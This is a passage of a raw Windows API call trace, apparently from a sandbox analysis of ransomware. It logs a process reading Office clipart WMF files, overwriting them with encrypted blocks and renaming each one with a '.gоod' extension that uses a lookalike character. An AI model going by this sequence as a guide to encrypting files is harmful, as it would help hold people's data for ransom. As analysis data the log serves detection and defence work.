lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0184.672] CloseHandle (hObject=0x6e0) returned 1 [0184.672] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF", lpFilePart=0x0) returned 0x44 [0184.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0184.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0184.672] GetFileType (hFile=0x6e0) returned 0x1 [0184.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0184.672] GetFileType (hFile=0x6e0) returned 0x1 [0184.672] ReadFile (in: hFile=0x6e0, lpBuffer=0x373e5b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x373e5b0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0185.666] CloseHandle (hObject=0x6e0) returned 1 [0185.666] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF", lpFilePart=0x0) returned 0x44 [0185.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0185.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0185.666] GetFileType (hFile=0x6e0) returned 0x1 [0185.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0185.666] GetFileType (hFile=0x6e0) returned 0x1 [0185.666] WriteFile (in: hFile=0x6e0, lpBuffer=0x3602840*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3602840*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0185.667] CloseHandle (hObject=0x6e0) returned 1 [0185.667] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF", lpFilePart=0x0) returned 0x44 [0185.667] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0185.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0185.667] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6ae0a0c8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4134)) returned 1 [0185.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0185.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.gоod")) returned 1 [0185.668] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF", lpFilePart=0x0) returned 0x44 [0185.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0185.668] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x379f700 | out: lpFileInformation=0x379f700*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x687c)) returned 1 [0185.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0185.669] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF", lpFilePart=0x0) returned 0x44 [0185.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0185.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0185.669] GetFileType (hFile=0x6e0) returned 0x1 [0185.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0185.670] GetFileType (hFile=0x6e0) returned 0x1 [0185.670] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0185.670] ReadFile (in: hFile=0x6e0, lpBuffer=0x379fb18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x379fb18*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0185.671] CloseHandle (hObject=0x6e0) returned 1 [0185.671] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF", lpFilePart=0x0) returned 0x44 [0185.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0185.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0185.671] GetFileType (hFile=0x6e0) returned 0x1 [0185.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0185.671] GetFileType (hFile=0x6e0) returned 0x1 [0185.671] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x687c [0185.671] WriteFile (in: hFile=0x6e0, lpBuffer=0x37a0db0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x37a0db0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0185.672] CloseHandle (hObject=0x6e0) returned 1 [0185.672] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF", lpFilePart=0x0) returned 0x44 [0185.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0185.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0185.672] GetFileType (hFile=0x6e0) returned 0x1 [0185.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0185.672] GetFileType (hFile=0x6e0) returned 0x1 [0185.672] ReadFile (in: hFile=0x6e0, lpBuffer=0x37a3070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x37a3070*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0186.563] CloseHandle (hObject=0x6e0) returned 1 [0186.563] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF", lpFilePart=0x0) returned 0x44 [0186.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0186.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0186.564] GetFileType (hFile=0x6e0) returned 0x1 [0186.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0186.564] GetFileType (hFile=0x6e0) returned 0x1 [0186.564] WriteFile (in: hFile=0x6e0, lpBuffer=0x363de20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x363de20*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0186.564] CloseHandle (hObject=0x6e0) returned 1 [0186.564] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF", lpFilePart=0x0) returned 0x44 [0186.564] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0186.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0186.564] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b6aea4c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x688c)) returned 1 [0186.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0186.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.gоod")) returned 1 [0186.566] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF", lpFilePart=0x0) returned 0x44 [0186.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0186.566] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x37bc938 | out: lpFileInformation=0x37bc938*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x133c)) returned 1 [0186.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0186.566] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF", lpFilePart=0x0) returned 0x44 [0186.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0186.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0186.566] GetFileType (hFile=0x6e0) returned 0x1 [0186.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0186.566] GetFileType (hFile=0x6e0) returned 0x1 [0186.566] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0186.567] ReadFile (in: hFile=0x6e0, lpBuffer=0x37bcd50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x37bcd50*, lpNumberOfBytesRead=0x1faedd28*=0x33c, lpOverlapped=0x0) returned 1 [0186.568] CloseHandle (hObject=0x6e0) returned 1 [0186.568] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF", lpFilePart=0x0) returned 0x44 [0186.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0186.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0186.568] GetFileType (hFile=0x6e0) returned 0x1 [0186.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0186.568] GetFileType (hFile=0x6e0) returned 0x1 [0186.568] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x133c [0186.568] WriteFile (in: hFile=0x6e0, lpBuffer=0x37be008*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x37be008*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0186.568] CloseHandle (hObject=0x6e0) returned 1 [0186.569] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF", lpFilePart=0x0) returned 0x44 [0186.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0186.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0186.569] GetFileType (hFile=0x6e0) returned 0x1 [0186.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0186.569] GetFileType (hFile=0x6e0) returned 0x1 [0186.569] ReadFile (in: hFile=0x6e0, lpBuffer=0x37c02c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x37c02c8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0186.857] CloseHandle (hObject=0x6e0) returned 1 [0186.857] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF", lpFilePart=0x0) returned 0x44 [0186.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0186.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0186.858] GetFileType (hFile=0x6e0) returned 0x1 [0186.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0186.858] GetFileType (hFile=0x6e0) returned 0x1 [0186.858] WriteFile (in: hFile=0x6e0, lpBuffer=0x368a4d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x368a4d8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0186.858] CloseHandle (hObject=0x6e0) returned 1 [0186.858] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF", lpFilePart=0x0) returned 0x44 [0186.858] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0186.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0186.858] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b95d4a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x134c)) returned 1 [0186.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0186.859] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.gоod")) returned 1 [0186.860] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF", lpFilePart=0x0) returned 0x44 [0186.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0186.860] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3811e08 | out: lpFileInformation=0x3811e08*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfe2)) returned 1 [0186.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0186.860] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF", lpFilePart=0x0) returned 0x44 [0186.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0186.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0186.860] GetFileType (hFile=0x6e0) returned 0x1 [0186.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0186.860] GetFileType (hFile=0x6e0) returned 0x1 [0186.860] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xfe2 [0186.860] ReadFile (in: hFile=0x6e0, lpBuffer=0x3813098, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3813098*, lpNumberOfBytesRead=0x1faedc88*=0xfe2, lpOverlapped=0x0) returned 1 [0186.862] CloseHandle (hObject=0x6e0) returned 1 [0186.889] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF", lpFilePart=0x0) returned 0x44 [0186.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0186.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0186.890] GetFileType (hFile=0x6e0) returned 0x1 [0186.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0186.890] GetFileType (hFile=0x6e0) returned 0x1 [0186.890] WriteFile (in: hFile=0x6e0, lpBuffer=0x3890788*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3890788*, lpNumberOfBytesWritten=0x1faedb98*=0xff0, lpOverlapped=0x0) returned 1 [0187.373] CloseHandle (hObject=0x6e0) returned 1 [0187.374] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF", lpFilePart=0x0) returned 0x44 [0187.374] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0187.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0187.374] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft 